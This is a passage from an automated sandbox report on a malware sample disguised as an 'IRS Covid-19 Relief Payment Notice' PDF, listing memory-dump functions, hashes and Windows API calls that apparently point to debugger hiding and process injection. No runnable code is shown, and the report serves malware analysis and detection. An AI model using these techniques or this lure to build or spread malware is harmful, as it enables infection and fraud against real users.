Instruction ID: 2b27ffefa89bd6ca342b401465971a5e66ec871c27ae83323043ee6d4d32bbc4
Opcode Fuzzy Hash: c5f00e41eaf52f26a3293d1051e25d31893cd359a1fc46a26b2513047898ad0e
Instruction Fuzzy Hash: E441F3306807029EEB085B7589623EF3B779FE5785F98451ADC425B2C8EBE29881C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 02410A0D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 137
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF

Strings

1.!T, xrefs: 02410A74

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: 5c4d5a41183a41a89ab320574770c435e4d2a77fbb80404580f941d6baedd211
Instruction ID: 38a34760d0ccdbbace9d98b6eb09352874410e2b3b7fba3dfb4b13faaab41c04
Opcode Fuzzy Hash: 5c4d5a41183a41a89ab320574770c435e4d2a77fbb80404580f941d6baedd211
Instruction Fuzzy Hash: A94106306407028EE7086B7588613EF77779FE5395F98451EDC424B2C8EBE29841C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 02419082, Relevance: 3.6, APIs: 2, Instructions: 574librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 1ca8ef07fd0ed1d737cb2cb56f51dd14589b9f74183efc657acb68d37cc8117d
Instruction ID: 14b7e3af3736b5cab899224d0341d212bc04d86fa03fa98afc6dc425f0ad68a7
Opcode Fuzzy Hash: 1ca8ef07fd0ed1d737cb2cb56f51dd14589b9f74183efc657acb68d37cc8117d
Instruction Fuzzy Hash: 6C026871744205AEEF245E20CD607FA3B63EF95360F94416BED865B2D4D3B688C6CB42

Uniqueness

Uniqueness Score: -1.00%

Function 024136ED, Relevance: 1.9, APIs: 1, Instructions: 390nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: 17b3261f4757f5f13f2d7ed0da2400346d65fc028c7320a6fbc2513918496638
Instruction ID: c4bd9d0ff1e9ec3287603a5a06997e174bde857b2ab5f996fe70761574ddfda5
Opcode Fuzzy Hash: 17b3261f4757f5f13f2d7ed0da2400346d65fc028c7320a6fbc2513918496638
Instruction Fuzzy Hash: 22C158B1740205AEEF345E24CD51BEA3F62EF95390F90416BFD865B284C3B598C6CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02413745, Relevance: 1.9, APIs: 1, Instructions: 370nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: b17b7daea383601a298e68b063dd95f82a115d84998fc3235829d4a02532ed17
Instruction ID: fccea8dee42324a975988ad834ef79a536a00e2d7d18f02b7fac5bdde907960b
Opcode Fuzzy Hash: b17b7daea383601a298e68b063dd95f82a115d84998fc3235829d4a02532ed17
Instruction Fuzzy Hash: F3B16871740205AEEF345E24CD90BEA3F62EF95394F90416BFD865B284C3B598C6CB81

Uniqueness

Uniqueness Score: -1.00%

Function 024137BD, Relevance: 1.8, APIs: 1, Instructions: 344nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: c75b6c42a4186816bc5958e7a11379d290a6fdaa6e4f19c212bfbeed9d8bcf3a
Instruction ID: 267023fb403091985fb0c3dbbfdebb323444fd0055401eb67f8ab22c1231ef40
Opcode Fuzzy Hash: c75b6c42a4186816bc5958e7a11379d290a6fdaa6e4f19c212bfbeed9d8bcf3a
Instruction Fuzzy Hash: D8B16970740205AFEF245E24CD90BEA3F62EF95394F90416BFD865B284C3B588C6CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02413819, Relevance: 1.8, APIs: 1, Instructions: 325nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: 9103d88e220358735dfe2a3c6732dd57bb454b881b44819744b6798b1f63e9a7
Instruction ID: 3eadd80c8924fb8b4815dc470ad69cc4291eb7a555644706b8fd8eb69838912d
Opcode Fuzzy Hash: 9103d88e220358735dfe2a3c6732dd57bb454b881b44819744b6798b1f63e9a7
Instruction Fuzzy Hash: 69A15870740205AEEF345E24CD91BEA3F62EF95394F94416BFD865B284C3B988C6CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02413868, Relevance: 1.8, APIs: 1, Instructions: 313nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: 93ce1ec07860ca5e6e2e08fe1a45a8d9a4f28eb5d78e903a539e772af6c6add0
Instruction ID: 35b53dc17bbe625c4086ed0311bc870600b50a25a1c3e92f8881c4c770113f50
Opcode Fuzzy Hash: 93ce1ec07860ca5e6e2e08fe1a45a8d9a4f28eb5d78e903a539e772af6c6add0
Instruction Fuzzy Hash: 53A17870740205AEEF345E24CD91BEA3F62EF55394F94416BFD865B284C3B988C6CB81

Uniqueness

Uniqueness Score: -1.00%

Function 024138E0, Relevance: 1.8, APIs: 1, Instructions: 287nativelibrarythreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: f9cf8a1dcc249ac8166b34c893b8d90ea78c2332e089d6c554a434e7b1100d4d
Instruction ID: f5b27bbd5b395b485dceb6b7ff5822bf2049e701c59d5f88c732defa9df2403d
Opcode Fuzzy Hash: f9cf8a1dcc249ac8166b34c893b8d90ea78c2332e089d6c554a434e7b1100d4d
Instruction Fuzzy Hash: 699166B1740205AFEF245E14CD94BEA3F62EF95394F50416BFD869B284C3B998C6CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02413929, Relevance: 1.8, APIs: 1, Instructions: 273nativelibrarythreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: 2ee05d244dbe21d4f9706b6693a3032c5c496cbfcf739657ca5a4426230001c5
Instruction ID: f29821ae2008cdd8344bf515669b0d44d631bc8cd1f43a66fe4fcc36f0c631ee
Opcode Fuzzy Hash: 2ee05d244dbe21d4f9706b6693a3032c5c496cbfcf739657ca5a4426230001c5
Instruction Fuzzy Hash: 8C9156B1740205AEEF345E10CD95BEA3F62EF95354F50416BFD869B284C3B998C5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02413980, Relevance: 1.8, APIs: 1, Instructions: 260nativelibrarythreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: 82daa68f7e36bb264e5d13d407ae056ec6ef1f988a84ac264aae6976077e9fcd
Instruction ID: 8e794a4c5b71fd9fccb6a2a5abf736d59ccc61e6545f92eaae0ccd2634f211ef
Opcode Fuzzy Hash: 82daa68f7e36bb264e5d13d407ae056ec6ef1f988a84ac264aae6976077e9fcd
Instruction Fuzzy Hash: 7B813570780209AEEF345E10DD95BEA3F62EF55394F50416BFD869B280D3BA98C5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 024139D1, Relevance: 1.7, APIs: 1, Instructions: 247nativelibrarythreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: 6bf040be395b1f27f7b4bdebadc53cc2569f3b13e8f0ec40d7163094b80393b7
Instruction ID: 5c583723220537a186b0f1bbe840980e13556a581f32e7aee1d964ce78b14f6c
Opcode Fuzzy Hash: 6bf040be395b1f27f7b4bdebadc53cc2569f3b13e8f0ec40d7163094b80393b7
Instruction Fuzzy Hash: 688144B0740209AEEF345E10DD95BEA3F22EF55394F50416BFD869B280C3B698C5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02413A2E, Relevance: 1.7, APIs: 1, Instructions: 231nativelibrarythreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: 406d96eac42dcf26da2dc56a08daa9fa2d17da0cf6dc0df530331c65099869d0
Instruction ID: fcad6e00ef55dd232dbd5ea8e58978d299c742748993d024b4b999d672abacb2
Opcode Fuzzy Hash: 406d96eac42dcf26da2dc56a08daa9fa2d17da0cf6dc0df530331c65099869d0
Instruction Fuzzy Hash: AC713370380209AEFF341E10DD95BEA3E22EB55754F94416BFD869B284C3F698C5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02413A88, Relevance: 1.7, APIs: 1, Instructions: 216nativelibrarythreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: f672aa93c63da2a749686eaae0faf881cbd4c8a2eb28e04da0d60483a526d3da
Instruction ID: e409b87613c78cb95145e6f8e6d021540333f43b8456175622cb46c529949395
Opcode Fuzzy Hash: f672aa93c63da2a749686eaae0faf881cbd4c8a2eb28e04da0d60483a526d3da
Instruction Fuzzy Hash: 33610371780209AEEF391E10DD95BEA3E23EB55754F94016BFD869B280C3B698C5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02413AF6, Relevance: 1.7, APIs: 1, Instructions: 195nativelibrarythreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63
LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadMemoryThreadVirtualWrite
String ID:
API String ID: 3170465491-0
Opcode ID: b6bbab00e94d34798972155547bbf31969eb36973b3d6158c9e35b0cdb1a05f9
Instruction ID: cace6d2c47584644511ee8cf1c36afc095040d23975740434ef17712534f5373
Opcode Fuzzy Hash: b6bbab00e94d34798972155547bbf31969eb36973b3d6158c9e35b0cdb1a05f9
Instruction Fuzzy Hash: A651F470780309AEEF291E10DD95BEA3E22EF45754F5400ABFD869B280D3B699C5DB81

Uniqueness

Uniqueness Score: -1.00%

Function 024190D4, Relevance: 1.7, APIs: 1, Instructions: 181librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 360a00fb3b7f6e2790259f7decd29c2b650b555f9644cdc6e6b2981222e5fb84
Instruction ID: 12b22f1e0cfd27dc2ea4b7030f7e3782837c4ca123f4e69ce858de673b877fdb
Opcode Fuzzy Hash: 360a00fb3b7f6e2790259f7decd29c2b650b555f9644cdc6e6b2981222e5fb84
Instruction Fuzzy Hash: B1510634208605DEEF2D5E20C5303FA37A7AF96760F884A6BD81B5B2D4D3B684C6C742

Uniqueness

Uniqueness Score: -1.00%

Function 02413B61, Relevance: 1.7, APIs: 1, Instructions: 170nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationMemoryThreadVirtualWrite
String ID:
API String ID: 1809272239-0
Opcode ID: 672a6f523a495f4739663b0aec7af25e9c9eedea013335ded25c1fc28b6c6152
Instruction ID: b5cbf77d50c8b76315c2379420d3afe67fe3da5dcfa668de7878dcd31942dccf
Opcode Fuzzy Hash: 672a6f523a495f4739663b0aec7af25e9c9eedea013335ded25c1fc28b6c6152
Instruction Fuzzy Hash: A8511570780308AFEF291E10DD95BEA3E23EF45754F54006AFD869B280D7B698C9DB45

Uniqueness

Uniqueness Score: -1.00%

Function 02419128, Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f48a70230cd344dcd576849218660b33f002060fdbf9d6ded7685eac715b1b
Instruction ID: 549e0cbdd3e1ce82955fafa0a4846af6b5447ecff19adc64f95b12bf9ae04291
Opcode Fuzzy Hash: d4f48a70230cd344dcd576849218660b33f002060fdbf9d6ded7685eac715b1b
Instruction Fuzzy Hash: 16414839108705DEEF295E20C5303F637A3AF86760F894A6BD8175B6E1D3B684C6C742

Uniqueness

Uniqueness Score: -1.00%

Function 02413BB6, Relevance: 1.7, APIs: 1, Instructions: 159nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationMemoryThreadVirtualWrite
String ID:
API String ID: 1809272239-0
Opcode ID: d3e1c6d4c0b42b2e0facd5e006e4869294a907fe1f84060620f82c6e20bd7d1a
Instruction ID: 607e37f6785cd152750148375cf86c2e246334d344130e82d2478e070a5f04f9
Opcode Fuzzy Hash: d3e1c6d4c0b42b2e0facd5e006e4869294a907fe1f84060620f82c6e20bd7d1a
Instruction Fuzzy Hash: 49512470780308AEEF291E10DD95BEA3E23EF45754F5400AAFD869B280C3B698C5CB84

Uniqueness

Uniqueness Score: -1.00%

Function 024192AA, Relevance: 1.7, APIs: 1, Instructions: 151librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 63f3cb8deec1cb6e8a5b9f4b9dcb630caad68f17838e5f79f51526a04dd1e140
Instruction ID: cfc1ad026bb8f301bdb051ba145bfeeea8841cf94a1c8cfc20b0f45c714f2936
Opcode Fuzzy Hash: 63f3cb8deec1cb6e8a5b9f4b9dcb630caad68f17838e5f79f51526a04dd1e140
Instruction Fuzzy Hash: 0A41CF35109B05CEDB295E2185303FA37A3AF96761F884AABC41B5B2D4D3E744C2C782

Uniqueness

Uniqueness Score: -1.00%

Function 02419215, Relevance: 1.6, APIs: 1, Instructions: 147librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 55b01d396b8d758fa7861cee949038e3980aaf1dea5ddbd6071c40f94e829143
Instruction ID: 3db8769f68bef83cba342cf035c48dcd83b87c480e199d12488d2fb490801872
Opcode Fuzzy Hash: 55b01d396b8d758fa7861cee949038e3980aaf1dea5ddbd6071c40f94e829143
Instruction Fuzzy Hash: 46412738108B46DEDF285E20C5303F637A2AF56370F894A6BD8675B2E0D3B684C2C742

Uniqueness

Uniqueness Score: -1.00%

Function 024191D6, Relevance: 1.6, APIs: 1, Instructions: 147librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 609f774f184ebf16b39b71f92ebaa897be183bf42f5188baf79d2a8f012cbfe3
Instruction ID: 576ea11ad8c0324a1e6f32f0cf2c262542d8852c3ada499cdc669f07da7850be
Opcode Fuzzy Hash: 609f774f184ebf16b39b71f92ebaa897be183bf42f5188baf79d2a8f012cbfe3
Instruction Fuzzy Hash: B2411839108706DEDF295E20C5703F237A66F06770F894A6BD8276B6E1D37684C6C602

Uniqueness

Uniqueness Score: -1.00%

Function 02419202, Relevance: 1.6, APIs: 1, Instructions: 144librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 32e81e23c80e8dc02efec3e27510c9b588950a27e9b9201dbbef27a403a77a5a
Instruction ID: b940f418c9349ebcca1e2e19276d489fcdbc7246b310e13f6bd855b8215b01d4
Opcode Fuzzy Hash: 32e81e23c80e8dc02efec3e27510c9b588950a27e9b9201dbbef27a403a77a5a
Instruction Fuzzy Hash: EE412939108706DEEF285E20C5703F237A66F06370F894A6BD8176B2E1C37684C6C603

Uniqueness

Uniqueness Score: -1.00%

Function 0241923E, Relevance: 1.6, APIs: 1, Instructions: 144librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: e96c02214cffeb7a8f6bd9f9ddb970f8e66d3b36c132b4488bbd1a2dfd09c7c0
Instruction ID: 768088b3fc01ec97671aab313346e56cbd5b8c4b9e4b42445a3032a938db4085
Opcode Fuzzy Hash: e96c02214cffeb7a8f6bd9f9ddb970f8e66d3b36c132b4488bbd1a2dfd09c7c0
Instruction Fuzzy Hash: 82411634208705DEEF285E21C5303F637A7AF96760F994A6BD8175B2D4D3B684C6C742

Uniqueness

Uniqueness Score: -1.00%

Function 02419271, Relevance: 1.6, APIs: 1, Instructions: 137libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 340e05a283989263db5d3a9ab952494ae159cf5c832bde04b1bad3c9c66ef85e
Instruction ID: 40a08224af88ce065d76df329e3e0f5f154ee24fff63e71ef3b0cf00605f3508
Opcode Fuzzy Hash: 340e05a283989263db5d3a9ab952494ae159cf5c832bde04b1bad3c9c66ef85e
Instruction Fuzzy Hash: 09410438108746DEEF285E20C5303F636A3AF56770F894A6BD8275B2D1D3B684C6C742

Uniqueness

Uniqueness Score: -1.00%

Function 02413C56, Relevance: 1.6, APIs: 1, Instructions: 129nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF
NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

